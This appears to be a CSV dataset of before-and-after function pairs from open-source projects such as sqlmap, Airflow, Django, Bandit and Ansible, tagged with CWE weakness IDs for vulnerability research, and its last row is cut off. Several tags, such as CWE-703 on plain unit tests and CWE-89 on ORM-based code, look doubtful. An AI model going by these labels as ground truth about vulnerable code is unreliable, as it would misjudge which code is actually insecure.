functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/webknight.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, code = get_page(get=vector)
        retval |= code == 999
        retval |= re.search(r""WebKnight"", headers.get(HTTP_HEADER.SERVER, """"), re.I) is not None
        retval |= any(_ in (page or """") for _ in (""WebKnight Application Firewall Alert"", ""AQTRONIX WebKnight""))
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,9043d9dd05a3b9470abeacd9510752999a7479ae,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, code = get_page(get=vector)
        retval = code == 999
        retval |= re.search(r""WebKnight"", headers.get(HTTP_HEADER.SERVER, """"), re.I) is not None
        retval |= any(_ in (page or """") for _ in (""WebKnight Application Firewall Alert"", ""AQTRONIX WebKnight""))
        if retval:
            break

    return retval"
,UNKNOWN,UNKNOWN,tests/api_connexion/endpoints/test_dag_source_endpoint.py,1,"def test_should_respond_200_json(self, session, test_dag):
        dag_content = self._get_dag_file_code(test_dag.fileloc)

        url = f""/api/v1/dagSources/{TEST_DAG_ID}""
        response = self.client.get(
            url, headers={""Accept"": ""application/json""}, environ_overrides={""REMOTE_USER"": ""test""}
        )

        assert response.status_code == 200
        assert response.json == {
            ""content"": dag_content,
            ""dag_id"": TEST_DAG_ID,
            ""version_number"": 1,
        }
        assert response.headers[""Content-Type""] == ""application/json""",CWE-703,apache/airflow,577985821e4e3c8cfbc2797feb19cc32fe2aaac0,"def test_should_respond_200_json(self, session, test_dag):
        dag_content = self._get_dag_file_code(test_dag.fileloc)

        url = f""/api/v1/dagSources/{TEST_DAG_ID}""
        response = self.client.get(
            url, headers={""Accept"": ""application/json""}, environ_overrides={""REMOTE_USER"": ""test""}
        )

        assert response.status_code == 200
        assert response.json == {
            ""content"": dag_content,
            ""dag_id"": TEST_DAG_ID,
            ""version_number"": 1,
        }
        assert response.headers[""Content-Type""] == ""application/json"""
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/serialization/serialized_objects.py,0,"def _deserialize_param(cls, param_dict: dict):
        """"""
        Workaround to serialize Param on older versions.

        In 2.2.0, Param attrs were assumed to be json-serializable and were not run through
        this class's ``serialize`` method.  So before running through ``deserialize``,
        we first verify that it's necessary to do.
        """"""
        class_name = param_dict[""__class""]
        class_: type[Param] = import_string(class_name)
        attrs = (""default"", ""description"", ""schema"")
        kwargs = {}

        def is_serialized(val):
            if isinstance(val, dict):
                return Encoding.TYPE in val
            if isinstance(val, list):
                return all(isinstance(item, dict) and Encoding.TYPE in item for item in val)
            return False

        for attr in attrs:
            if attr in param_dict:
                val = param_dict[attr]
                if is_serialized(val):
                    val = cls.deserialize(val)
                kwargs[attr] = val
        return class_(**kwargs)",CWE-Unknown,apache/airflow,92777adbb367d549c654d6ae9856d0f19d671a81,"def _deserialize_param(cls, param_dict: dict):
        """"""
        Workaround to serialize Param on older versions.

        In 2.2.0, Param attrs were assumed to be json-serializable and were not run through
        this class's ``serialize`` method.  So before running through ``deserialize``,
        we first verify that it's necessary to do.
        """"""
        class_name = param_dict[""__class""]
        class_: type[Param] = import_string(class_name)
        attrs = (""default"", ""description"", ""schema"")
        kwargs = {}

        def is_serialized(val):
            if isinstance(val, dict):
                return Encoding.TYPE in val
            if isinstance(val, list):
                return all(isinstance(item, dict) and Encoding.TYPE in item for item in val)
            return False

        for attr in attrs:
            if attr in param_dict:
                val = param_dict[attr]
                if is_serialized(val):
                    val = cls.deserialize(val)
                kwargs[attr] = val
        return class_(**kwargs)"
,UNKNOWN,UNKNOWN,providers/google/tests/unit/google/cloud/links/test_translate.py,1,"def test_get_link(self, create_task_instance_of_operator, session, mock_supervisor_comms):
        expected_url = f""{TRANSLATION_BASE_LINK}/locations/{GCP_LOCATION}/datasets/{DATASET}/sentences?project={GCP_PROJECT_ID}""
        link = TranslationLegacyDatasetLink()
        ti = create_task_instance_of_operator(
            AutoMLCreateDatasetOperator,
            dag_id=""test_legacy_dataset_link_dag"",
            task_id=""test_legacy_dataset_link_task"",
            dataset=DATASET,
            location=GCP_LOCATION,
        )
        session.add(ti)
        session.commit()
        link.persist(context={""ti"": ti}, task_instance=ti.task, dataset_id=DATASET, project_id=GCP_PROJECT_ID)
        if AIRFLOW_V_3_0_PLUS and mock_supervisor_comms:
            mock_supervisor_comms.send.return_value = XComResult(
                key=""key"",
                value={""location"": ti.task.location, ""dataset_id"": DATASET, ""project_id"": GCP_PROJECT_ID},
            )
        actual_url = link.get_link(operator=ti.task, ti_key=ti.key)
        assert actual_url == expected_url",CWE-703,apache/airflow,accfbc3dc06b73cc0ae3d2d77454ff5669788ae5,"def test_get_link(self, create_task_instance_of_operator, session, mock_supervisor_comms):
        expected_url = f""{TRANSLATION_BASE_LINK}/locations/{GCP_LOCATION}/datasets/{DATASET}/sentences?project={GCP_PROJECT_ID}""
        link = TranslationLegacyDatasetLink()
        ti = create_task_instance_of_operator(
            AutoMLCreateDatasetOperator,
            dag_id=""test_legacy_dataset_link_dag"",
            task_id=""test_legacy_dataset_link_task"",
            dataset=DATASET,
            location=GCP_LOCATION,
        )
        session.add(ti)
        session.commit()
        link.persist(context={""ti"": ti}, task_instance=ti.task, dataset_id=DATASET, project_id=GCP_PROJECT_ID)
        if AIRFLOW_V_3_0_PLUS and mock_supervisor_comms:
            mock_supervisor_comms.get_message.return_value = XComResult(
                key=""key"",
                value={""location"": ti.task.location, ""dataset_id"": DATASET, ""project_id"": GCP_PROJECT_ID},
            )
        actual_url = link.get_link(operator=ti.task, ti_key=ti.key)
        assert actual_url == expected_url"
,UNKNOWN,UNKNOWN,test/units/galaxy/test_collection_install.py,1,"def test_install_collections_from_tar(collection_artifact, monkeypatch):
    collection_path, collection_tar = collection_artifact
    temp_path = os.path.split(collection_tar)[0]
    shutil.rmtree(collection_path)

    mock_display = MagicMock()
    monkeypatch.setattr(Display, 'display', mock_display)

    collection.install_collections([(to_text(collection_tar), '*', None, None)], to_text(temp_path),
                                   [u'https://galaxy.ansible.com'], True, False, False, False, False)

    assert os.path.isdir(collection_path)

    actual_files = os.listdir(collection_path)
    actual_files.sort()
    assert actual_files == [b'FILES.json', b'MANIFEST.json', b'README.md', b'docs', b'playbooks', b'plugins', b'roles',
                            b'runme.sh']

    with open(os.path.join(collection_path, b'MANIFEST.json'), 'rb') as manifest_obj:
        actual_manifest = json.loads(to_text(manifest_obj.read()))

    assert actual_manifest['collection_info']['namespace'] == 'ansible_namespace'
    assert actual_manifest['collection_info']['name'] == 'collection'
    assert actual_manifest['collection_info']['version'] == '0.1.0'

    # Filter out the progress cursor display calls.
    display_msgs = [m[1][0] for m in mock_display.mock_calls if 'newline' not in m[2] and len(m[1]) == 1]
    assert len(display_msgs) == 3
    assert display_msgs[0] == ""Process install dependency map""
    assert display_msgs[1] == ""Starting collection install process""
    assert display_msgs[2] == ""Installing 'ansible_namespace.collection:0.1.0' to '%s'"" % to_text(collection_path)",CWE-703,ansible/ansible,e40889e7112ae00a21a2c74312b330e67a766cc0,"def test_install_collections_from_tar(collection_artifact, monkeypatch):
    collection_path, collection_tar = collection_artifact
    temp_path = os.path.split(collection_tar)[0]
    shutil.rmtree(collection_path)

    mock_display = MagicMock()
    monkeypatch.setattr(Display, 'display', mock_display)

    collection.install_collections([(to_text(collection_tar), '*', None,)], to_text(temp_path),
                                   [u'https://galaxy.ansible.com'], True, False, False, False, False)

    assert os.path.isdir(collection_path)

    actual_files = os.listdir(collection_path)
    actual_files.sort()
    assert actual_files == [b'FILES.json', b'MANIFEST.json', b'README.md', b'docs', b'playbooks', b'plugins', b'roles',
                            b'runme.sh']

    with open(os.path.join(collection_path, b'MANIFEST.json'), 'rb') as manifest_obj:
        actual_manifest = json.loads(to_text(manifest_obj.read()))

    assert actual_manifest['collection_info']['namespace'] == 'ansible_namespace'
    assert actual_manifest['collection_info']['name'] == 'collection'
    assert actual_manifest['collection_info']['version'] == '0.1.0'

    # Filter out the progress cursor display calls.
    display_msgs = [m[1][0] for m in mock_display.mock_calls if 'newline' not in m[2] and len(m[1]) == 1]
    assert len(display_msgs) == 3
    assert display_msgs[0] == ""Process install dependency map""
    assert display_msgs[1] == ""Starting collection install process""
    assert display_msgs[2] == ""Installing 'ansible_namespace.collection:0.1.0' to '%s'"" % to_text(collection_path)"
,UNKNOWN,UNKNOWN,airflow/models/taskinstance.py,1,"def clear_task_instances(
    tis: list[TaskInstance],
    session: Session,
    activate_dag_runs: None = None,
    dag: DAG | None = None,
    dag_run_state: DagRunState | Literal[False] = DagRunState.QUEUED,
) -> None:
    """"""
    Clear a set of task instances, but make sure the running ones get killed.

    Also sets Dagrun's `state` to QUEUED and `start_date` to the time of execution.
    But only for finished DRs (SUCCESS and FAILED).
    Doesn't clear DR's `state` and `start_date`for running
    DRs (QUEUED and RUNNING) because clearing the state for already
    running DR is redundant and clearing `start_date` affects DR's duration.

    :param tis: a list of task instances
    :param session: current session
    :param dag_run_state: state to set finished DagRuns to.
        If set to False, DagRuns state will not be changed.
    :param dag: DAG object
    :param activate_dag_runs: Deprecated parameter, do not pass
    """"""
    job_ids = []
    # Keys: dag_id -> run_id -> map_indexes -> try_numbers -> task_id
    task_id_by_key: dict[str, dict[str, dict[int, dict[int, set[str]]]]] = defaultdict(
        lambda: defaultdict(lambda: defaultdict(lambda: defaultdict(set)))
    )
    dag_bag = DagBag(read_dags_from_db=True)
    from airflow.models.taskinstancehistory import TaskInstanceHistory

    for ti in tis:
        TaskInstanceHistory.record_ti(ti, session)
        if ti.state == TaskInstanceState.RUNNING:
            if ti.job_id:
                # If a task is cleared when running, set its state to RESTARTING so that
                # the task is terminated and becomes eligible for retry.
                ti.state = TaskInstanceState.RESTARTING
                job_ids.append(ti.job_id)
        else:
            ti_dag = dag if dag and dag.dag_id == ti.dag_id else dag_bag.get_dag(ti.dag_id, session=session)
            task_id = ti.task_id
            if ti_dag and ti_dag.has_task(task_id):
                task = ti_dag.get_task(task_id)
                ti.refresh_from_task(task)
                if TYPE_CHECKING:
                    assert ti.task
                ti.max_tries = ti.try_number + task.retries
            else:
                # Ignore errors when updating max_tries if the DAG or
                # task are not found since database records could be
                # outdated. We make max_tries the maximum value of its
                # original max_tries or the last attempted try number.
                ti.max_tries = max(ti.max_tries, ti.try_number)
            ti.state = None
            ti.external_executor_id = None
            ti.clear_next_method_args()
            session.merge(ti)
        task_id_by_key[ti.dag_id][ti.run_id][ti.map_index][ti.try_number].add(ti.task_id)

    if task_id_by_key:
        # Clear all reschedules related to the ti to clear

        # This is an optimization for the common case where all tis are for a small number
        # of dag_id, run_id, try_number, and map_index. Use a nested dict of dag_id,
        # run_id, try_number, map_index, and task_id to construct the where clause in a
        # hierarchical manner. This speeds up the delete statement by more than 40x for
        # large number of tis (50k+).
        conditions = or_(
            and_(
                TR.dag_id == dag_id,
                or_(
                    and_(
                        TR.run_id == run_id,
                        or_(
                            and_(
                                TR.map_index == map_index,
                                or_(
                                    and_(TR.try_number == try_number, TR.task_id.in_(task_ids))
                                    for try_number, task_ids in task_tries.items()
                                ),
                            )
                            for map_index, task_tries in map_indexes.items()
                        ),
                    )
                    for run_id, map_indexes in run_ids.items()
                ),
            )
            for dag_id, run_ids in task_id_by_key.items()
        )

        delete_qry = TR.__table__.delete().where(conditions)
        session.execute(delete_qry)

    if job_ids:
        from airflow.jobs.job import Job

        session.execute(update(Job).where(Job.id.in_(job_ids)).values(state=JobState.RESTARTING))

    if activate_dag_runs is not None:
        warnings.warn(
            ""`activate_dag_runs` parameter to clear_task_instances function is deprecated. ""
            ""Please use `dag_run_state`"",
            RemovedInAirflow3Warning,
            stacklevel=2,
        )
        if not activate_dag_runs:
            dag_run_state = False

    if dag_run_state is not False and tis:
        from airflow.models.dagrun import DagRun  # Avoid circular import

        run_ids_by_dag_id = defaultdict(set)
        for instance in tis:
            run_ids_by_dag_id[instance.dag_id].add(instance.run_id)

        drs = (
            session.query(DagRun)
            .filter(
                or_(
                    and_(DagRun.dag_id == dag_id, DagRun.run_id.in_(run_ids))
                    for dag_id, run_ids in run_ids_by_dag_id.items()
                )
            )
            .all()
        )
        dag_run_state = DagRunState(dag_run_state)  # Validate the state value.
        for dr in drs:
            if dr.state in State.finished_dr_states:
                dr.state = dag_run_state
                dr.start_date = timezone.utcnow()
                if dag_run_state == DagRunState.QUEUED:
                    dr.last_scheduling_decision = None
                    dr.start_date = None
                    dr.clear_number += 1
    session.flush()","CWE-89, CWE-703",apache/airflow,89b32e6363cdaa8665a9aa0843025c3084d3b291,"def clear_task_instances(
    tis: list[TaskInstance],
    session: Session,
    activate_dag_runs: None = None,
    dag: DAG | None = None,
    dag_run_state: DagRunState | Literal[False] = DagRunState.QUEUED,
) -> None:
    """"""
    Clear a set of task instances, but make sure the running ones get killed.

    Also sets Dagrun's `state` to QUEUED and `start_date` to the time of execution.
    But only for finished DRs (SUCCESS and FAILED).
    Doesn't clear DR's `state` and `start_date`for running
    DRs (QUEUED and RUNNING) because clearing the state for already
    running DR is redundant and clearing `start_date` affects DR's duration.

    :param tis: a list of task instances
    :param session: current session
    :param dag_run_state: state to set finished DagRuns to.
        If set to False, DagRuns state will not be changed.
    :param dag: DAG object
    :param activate_dag_runs: Deprecated parameter, do not pass
    """"""
    job_ids = []
    # Keys: dag_id -> run_id -> map_indexes -> try_numbers -> task_id
    task_id_by_key: dict[str, dict[str, dict[int, dict[int, set[str]]]]] = defaultdict(
        lambda: defaultdict(lambda: defaultdict(lambda: defaultdict(set)))
    )
    dag_bag = DagBag(read_dags_from_db=True)
    for ti in tis:
        if ti.state == TaskInstanceState.RUNNING:
            if ti.job_id:
                # If a task is cleared when running, set its state to RESTARTING so that
                # the task is terminated and becomes eligible for retry.
                ti.state = TaskInstanceState.RESTARTING
                job_ids.append(ti.job_id)
        else:
            ti_dag = dag if dag and dag.dag_id == ti.dag_id else dag_bag.get_dag(ti.dag_id, session=session)
            task_id = ti.task_id
            if ti_dag and ti_dag.has_task(task_id):
                task = ti_dag.get_task(task_id)
                ti.refresh_from_task(task)
                if TYPE_CHECKING:
                    assert ti.task
                ti.max_tries = ti.try_number + task.retries
            else:
                # Ignore errors when updating max_tries if the DAG or
                # task are not found since database records could be
                # outdated. We make max_tries the maximum value of its
                # original max_tries or the last attempted try number.
                ti.max_tries = max(ti.max_tries, ti.try_number)
            ti.state = None
            ti.external_executor_id = None
            ti.clear_next_method_args()
            session.merge(ti)

        task_id_by_key[ti.dag_id][ti.run_id][ti.map_index][ti.try_number].add(ti.task_id)

    if task_id_by_key:
        # Clear all reschedules related to the ti to clear

        # This is an optimization for the common case where all tis are for a small number
        # of dag_id, run_id, try_number, and map_index. Use a nested dict of dag_id,
        # run_id, try_number, map_index, and task_id to construct the where clause in a
        # hierarchical manner. This speeds up the delete statement by more than 40x for
        # large number of tis (50k+).
        conditions = or_(
            and_(
                TR.dag_id == dag_id,
                or_(
                    and_(
                        TR.run_id == run_id,
                        or_(
                            and_(
                                TR.map_index == map_index,
                                or_(
                                    and_(TR.try_number == try_number, TR.task_id.in_(task_ids))
                                    for try_number, task_ids in task_tries.items()
                                ),
                            )
                            for map_index, task_tries in map_indexes.items()
                        ),
                    )
                    for run_id, map_indexes in run_ids.items()
                ),
            )
            for dag_id, run_ids in task_id_by_key.items()
        )

        delete_qry = TR.__table__.delete().where(conditions)
        session.execute(delete_qry)

    if job_ids:
        from airflow.jobs.job import Job

        session.execute(update(Job).where(Job.id.in_(job_ids)).values(state=JobState.RESTARTING))

    if activate_dag_runs is not None:
        warnings.warn(
            ""`activate_dag_runs` parameter to clear_task_instances function is deprecated. ""
            ""Please use `dag_run_state`"",
            RemovedInAirflow3Warning,
            stacklevel=2,
        )
        if not activate_dag_runs:
            dag_run_state = False

    if dag_run_state is not False and tis:
        from airflow.models.dagrun import DagRun  # Avoid circular import

        run_ids_by_dag_id = defaultdict(set)
        for instance in tis:
            run_ids_by_dag_id[instance.dag_id].add(instance.run_id)

        drs = (
            session.query(DagRun)
            .filter(
                or_(
                    and_(DagRun.dag_id == dag_id, DagRun.run_id.in_(run_ids))
                    for dag_id, run_ids in run_ids_by_dag_id.items()
                )
            )
            .all()
        )
        dag_run_state = DagRunState(dag_run_state)  # Validate the state value.
        for dr in drs:
            if dr.state in State.finished_dr_states:
                dr.state = dag_run_state
                dr.start_date = timezone.utcnow()
                if dag_run_state == DagRunState.QUEUED:
                    dr.last_scheduling_decision = None
                    dr.start_date = None
                    dr.clear_number += 1
    session.flush()"
,UNKNOWN,UNKNOWN,django/db/backends/sqlite3/schema.py,1,"def _remake_table(self, model, create_fields=[], delete_fields=[], alter_fields=[], rename_fields=[], override_uniques=None):
        """"""
        Shortcut to transform a model from old_model into new_model
        """"""
        # Work out the new fields dict / mapping
        body = dict((f.name, f) for f in model._meta.local_fields)
        mapping = dict((f.column, f.column) for f in model._meta.local_fields)
        # If any of the new or altered fields is introducing a new PK,
        # remove the old one
        restore_pk_field = None
        if any(f.primary_key for f in create_fields) or any(n.primary_key for o, n in alter_fields):
            for name, field in list(body.items()):
                if field.primary_key:
                    field.primary_key = False
                    restore_pk_field = field
                    if field.auto_created:
                        del body[name]
                        del mapping[field.column]
        # Add in any created fields
        for field in create_fields:
            body[field.name] = field
            # If there's a default, insert it into the copy map
            if field.has_default():
                mapping[field.column] = self.connection.ops.quote_parameter(
                    field.get_default()
                )
        # Add in any altered fields
        for (old_field, new_field) in alter_fields:
            del body[old_field.name]
            del mapping[old_field.column]
            body[new_field.name] = new_field
            mapping[new_field.column] = old_field.column
        # Remove any deleted fields
        for field in delete_fields:
            del body[field.name]
            del mapping[field.column]
        # Work inside a new app registry
        apps = Apps()
        # Construct a new model for the new state
        meta_contents = {
            'app_label': model._meta.app_label,
            'db_table': model._meta.db_table + ""__new"",
            'unique_together': model._meta.unique_together if override_uniques is None else override_uniques,
            'apps': apps,
        }
        meta = type(""Meta"", tuple(), meta_contents)
        body['Meta'] = meta
        body['__module__'] = model.__module__
        temp_model = type(model._meta.object_name, model.__bases__, body)
        # Create a new table with that format
        self.create_model(temp_model)
        # Copy data from the old table
        field_maps = list(mapping.items())
        self.execute(""INSERT INTO %s (%s) SELECT %s FROM %s"" % (
            self.quote_name(temp_model._meta.db_table),
            ', '.join(x for x, y in field_maps),
            ', '.join(y for x, y in field_maps),
            self.quote_name(model._meta.db_table),
        ))
        # Delete the old table
        self.delete_model(model)
        # Rename the new to the old
        self.alter_db_table(model, temp_model._meta.db_table, model._meta.db_table)
        # Run deferred SQL on correct table
        for sql in self.deferred_sql:
            self.execute(sql.replace(temp_model._meta.db_table, model._meta.db_table))
        self.deferred_sql = []
        # Fix any PK-removed field
        if restore_pk_field:
            restore_pk_field.primary_key = True",CWE-89,django/django,2a30b39f40265c9228fc2e706bcb6e1df1aae991,"def _remake_table(self, model, create_fields=[], delete_fields=[], alter_fields=[], rename_fields=[], override_uniques=None):
        """"""
        Shortcut to transform a model from old_model into new_model
        """"""
        # Work out the new fields dict / mapping
        body = dict((f.name, f) for f in model._meta.local_fields)
        mapping = dict((f.column, f.column) for f in model._meta.local_fields)
        # If any of the new or altered fields is introducing a new PK,
        # remove the old one
        restore_pk_field = None
        if any(f.primary_key for f in create_fields) or any(n.primary_key for o, n in alter_fields):
            for name, field in list(body.items()):
                if field.primary_key:
                    field.primary_key = False
                    restore_pk_field = field
                    if field.auto_created:
                        del body[name]
                        del mapping[field.column]
        # Add in any created fields
        for field in create_fields:
            body[field.name] = field
            # If there's a default, insert it into the copy map
            if field.get_default():
                mapping[field.column] = self.connection.ops.quote_parameter(
                    field.get_default()
                )
        # Add in any altered fields
        for (old_field, new_field) in alter_fields:
            del body[old_field.name]
            del mapping[old_field.column]
            body[new_field.name] = new_field
            mapping[new_field.column] = old_field.column
        # Remove any deleted fields
        for field in delete_fields:
            del body[field.name]
            del mapping[field.column]
        # Work inside a new app registry
        apps = Apps()
        # Construct a new model for the new state
        meta_contents = {
            'app_label': model._meta.app_label,
            'db_table': model._meta.db_table + ""__new"",
            'unique_together': model._meta.unique_together if override_uniques is None else override_uniques,
            'apps': apps,
        }
        meta = type(""Meta"", tuple(), meta_contents)
        body['Meta'] = meta
        body['__module__'] = model.__module__
        temp_model = type(model._meta.object_name, model.__bases__, body)
        # Create a new table with that format
        self.create_model(temp_model)
        # Copy data from the old table
        field_maps = list(mapping.items())
        self.execute(""INSERT INTO %s (%s) SELECT %s FROM %s"" % (
            self.quote_name(temp_model._meta.db_table),
            ', '.join(x for x, y in field_maps),
            ', '.join(y for x, y in field_maps),
            self.quote_name(model._meta.db_table),
        ))
        # Delete the old table
        self.delete_model(model)
        # Rename the new to the old
        self.alter_db_table(model, temp_model._meta.db_table, model._meta.db_table)
        # Run deferred SQL on correct table
        for sql in self.deferred_sql:
            self.execute(sql.replace(temp_model._meta.db_table, model._meta.db_table))
        self.deferred_sql = []
        # Fix any PK-removed field
        if restore_pk_field:
            restore_pk_field.primary_key = True"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/tester.py,0,"def run_tests(self, raw_context, checktype):
        """"""Runs all tests for a certain type of check, for example

        Runs all tests for a certain type of check, for example 'functions'
        store results in results.

        :param raw_context: Raw context dictionary
        :param checktype: The type of checks to run
        :return: a score based on the number and type of test results with
                extra metrics about nosec comments
        """"""

        scores = {
            ""SEVERITY"": [0] * len(constants.RANKING),
            ""CONFIDENCE"": [0] * len(constants.RANKING),
        }

        tests = self.testset.get_tests(checktype)
        for test in tests:
            name = test.__name__
            # execute test with an instance of the context class
            temp_context = copy.copy(raw_context)
            context = b_context.Context(temp_context)
            try:
                if hasattr(test, ""_config""):
                    result = test(context, test._config)
                else:
                    result = test(context)

                if result is not None:
                    nosec_tests_to_skip = self._get_nosecs_from_contexts(
                        temp_context, test_result=result
                    )

                    if isinstance(temp_context[""filename""], bytes):
                        result.fname = temp_context[""filename""].decode(""utf-8"")
                    else:
                        result.fname = temp_context[""filename""]
                    result.fdata = temp_context[""file_data""]

                    if result.lineno is None:
                        result.lineno = temp_context[""lineno""]
                    result.linerange = temp_context[""linerange""]
                    if result.col_offset == -1:
                        result.col_offset = temp_context[""col_offset""]
                    result.end_col_offset = temp_context.get(
                        ""end_col_offset"", 0
                    )
                    result.test = name
                    if result.test_id == """":
                        result.test_id = test._test_id

                    # don't skip the test if there was no nosec comment
                    if nosec_tests_to_skip is not None:
                        # If the set is empty then it means that nosec was
                        # used without test number -> update nosecs counter.
                        # If the test id is in the set of tests to skip,
                        # log and increment the skip by test count.
                        if not nosec_tests_to_skip:
                            LOG.debug(""skipped, nosec without test number"")
                            self.metrics.note_nosec()
                            continue
                        if result.test_id in nosec_tests_to_skip:
                            LOG.debug(
                                f""skipped, nosec for test {result.test_id}""
                            )
                            self.metrics.note_skipped_test()
                            continue

                    self.results.append(result)

                    LOG.debug(""Issue identified by %s: %s"", name, result)
                    sev = constants.RANKING.index(result.severity)
                    val = constants.RANKING_VALUES[result.severity]
                    scores[""SEVERITY""][sev] += val
                    con = constants.RANKING.index(result.confidence)
                    val = constants.RANKING_VALUES[result.confidence]
                    scores[""CONFIDENCE""][con] += val
                else:
                    nosec_tests_to_skip = self._get_nosecs_from_contexts(
                        temp_context
                    )
                    if (
                        nosec_tests_to_skip
                        and test._test_id in nosec_tests_to_skip
                    ):
                        LOG.warning(
                            f""nosec encountered ({test._test_id}), but no ""
                            f""failed test on line {temp_context['lineno']}""
                        )

            except Exception as e:
                self.report_error(name, context, e)
                if self.debug:
                    raise
        LOG.debug(""Returning scores: %s"", scores)
        return scores",UNKNOWN,PyCQA/bandit,ec384b84261e563d4dc5cfe71673f159fcb199af,"def run_tests(self, raw_context, checktype):
        """"""Runs all tests for a certain type of check, for example

        Runs all tests for a certain type of check, for example 'functions'
        store results in results.

        :param raw_context: Raw context dictionary
        :param checktype: The type of checks to run
        :return: a score based on the number and type of test results with
                extra metrics about nosec comments
        """"""

        scores = {
            ""SEVERITY"": [0] * len(constants.RANKING),
            ""CONFIDENCE"": [0] * len(constants.RANKING),
        }

        tests = self.testset.get_tests(checktype)
        for test in tests:
            name = test.__name__
            # execute test with the an instance of the context class
            temp_context = copy.copy(raw_context)
            context = b_context.Context(temp_context)
            try:
                if hasattr(test, ""_config""):
                    result = test(context, test._config)
                else:
                    result = test(context)

                if result is not None:
                    nosec_tests_to_skip = self._get_nosecs_from_contexts(
                        temp_context, test_result=result
                    )

                    if isinstance(temp_context[""filename""], bytes):
                        result.fname = temp_context[""filename""].decode(""utf-8"")
                    else:
                        result.fname = temp_context[""filename""]
                    result.fdata = temp_context[""file_data""]

                    if result.lineno is None:
                        result.lineno = temp_context[""lineno""]
                    result.linerange = temp_context[""linerange""]
                    result.col_offset = temp_context[""col_offset""]
                    result.end_col_offset = temp_context.get(
                        ""end_col_offset"", 0
                    )
                    result.test = name
                    if result.test_id == """":
                        result.test_id = test._test_id

                    # don't skip the test if there was no nosec comment
                    if nosec_tests_to_skip is not None:
                        # If the set is empty then it means that nosec was
                        # used without test number -> update nosecs counter.
                        # If the test id is in the set of tests to skip,
                        # log and increment the skip by test count.
                        if not nosec_tests_to_skip:
                            LOG.debug(""skipped, nosec without test number"")
                            self.metrics.note_nosec()
                            continue
                        if result.test_id in nosec_tests_to_skip:
                            LOG.debug(
                                f""skipped, nosec for test {result.test_id}""
                            )
                            self.metrics.note_skipped_test()
                            continue

                    self.results.append(result)

                    LOG.debug(""Issue identified by %s: %s"", name, result)
                    sev = constants.RANKING.index(result.severity)
                    val = constants.RANKING_VALUES[result.severity]
                    scores[""SEVERITY""][sev] += val
                    con = constants.RANKING.index(result.confidence)
                    val = constants.RANKING_VALUES[result.confidence]
                    scores[""CONFIDENCE""][con] += val
                else:
                    nosec_tests_to_skip = self._get_nosecs_from_contexts(
                        temp_context
                    )
                    if (
                        nosec_tests_to_skip
                        and test._test_id in nosec_tests_to_skip
                    ):
                        LOG.warning(
                            f""nosec encountered ({test._test_id}), but no ""
                            f""failed test on line {temp_context['lineno']}""
                        )

            except Exception as e:
                self.report_error(name, context, e)
                if self.debug:
                    raise
        LOG.debug(""Returning scores: %s"", scores)
        return scores"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/openstack/os_server.py,0,"def _get_server_state(module, cloud):
    state = module.params['state']
    server = cloud.get_server(module.params['name'])
    if server and state == 'present':
        if server.status not in ('ACTIVE', 'SHUTOFF', 'PAUSED', 'SUSPENDED'):
            module.fail_json(
                msg=""The instance is available but not Active state: "" + server.status)
        (ip_changed, server) = _check_ips(module, cloud, server)
        (sg_changed, server) = _check_security_groups(module, cloud, server)
        (server_changed, server) = _update_server(module, cloud, server)
        _exit_hostvars(module, cloud, server,
                       ip_changed or sg_changed or server_changed)
    if server and state == 'absent':
        return True
    if state == 'absent':
        module.exit_json(changed=False, result=""not present"")
    return True",,ansible/ansible,18529a275bb7050d7d246d01ec95518a4f5c07e1,"def _get_server_state(module, cloud):
    state = module.params['state']
    server = cloud.get_server(module.params['name'])
    if server and state == 'present':
        if server.status not in ('ACTIVE', 'SHUTOFF', 'PAUSED', 'SUSPENDED'):
            module.fail_json(
                msg=""The instance is available but not Active state: ""
                    + server.status)
        (ip_changed, server) = _check_ips(module, cloud, server)
        (sg_changed, server) = _check_security_groups(module, cloud, server)
        (server_changed, server) = _update_server(module, cloud, server)
        _exit_hostvars(module, cloud, server,
                       ip_changed or sg_changed or server_changed)
    if server and state == 'absent':
        return True
    if state == 'absent':
        module.exit_json(changed=False, result=""not present"")
    return True"
,UNKNOWN,UNKNOWN,airflow/models/taskinstance.py,1,"def get_triggering_events() -> dict[str, list[AssetEvent]]:
        if TYPE_CHECKING:
            assert session is not None

        # The dag_run may not be attached to the session anymore since the
        # code base is over-zealous with use of session.expunge_all().
        # Re-attach it if we get called.
        nonlocal dag_run
        if dag_run not in session:
            dag_run = session.merge(dag_run, load=False)
        asset_events = dag_run.consumed_asset_events
        triggering_events: dict[str, list[AssetEvent]] = defaultdict(list)
        for event in asset_events:
            if event.asset:
                triggering_events[event.asset.uri].append(event)

        return triggering_events",CWE-703,apache/airflow,fbe3fc927ea38d88132db231c71494fef71dfff2,"def get_triggering_events() -> dict[str, list[AssetEvent]]:
        if TYPE_CHECKING:
            assert session is not None

        # The dag_run may not be attached to the session anymore since the
        # code base is over-zealous with use of session.expunge_all().
        # Re-attach it if we get called.
        nonlocal dag_run
        if dag_run not in session:
            dag_run = session.merge(dag_run, load=False)
        asset_events = dag_run.consumed_asset_events
        triggering_events: dict[str, list[AssetEvent]] = defaultdict(list)
        for event in asset_events:
            if event.asset:
                triggering_events[event.asset.uri].append(event)

        return triggering_events"
,UNKNOWN,UNKNOWN,tests/unit/utils/test_thin.py,1,"def test_gen_thin_ext_alternative_content_files_written_py3(self):
        '''
        Test thin.gen_thin function if external alternative content files are written.
        NOTE: Py2 version of this test is not required, as code shares the same spot across the versions.

        :return:
        '''
        thin.gen_thin('')
        files = ['namespace/pyall/root/r1', 'namespace/pyall/root/r2', 'namespace/pyall/root/r3',
                 'namespace/pyall/root2/r4', 'namespace/pyall/root2/r5', 'namespace/pyall/root2/r6',
                 'namespace/pyall/root/r1', 'namespace/pyall/root/r2', 'namespace/pyall/root/r3',
                 'namespace/pyall/root2/r4', 'namespace/pyall/root2/r5', 'namespace/pyall/root2/r6',
                 'namespace/py2/root/r1', 'namespace/py2/root/r2', 'namespace/py2/root/r3',
                 'namespace/py2/root2/r4', 'namespace/py2/root2/r5', 'namespace/py2/root2/r6'
        ]
        for idx, cl in enumerate(thin.tarfile.open().method_calls[12:-5]):
            arcname = cl[2].get('arcname')
            assert arcname in files
            files.pop(files.index(arcname))
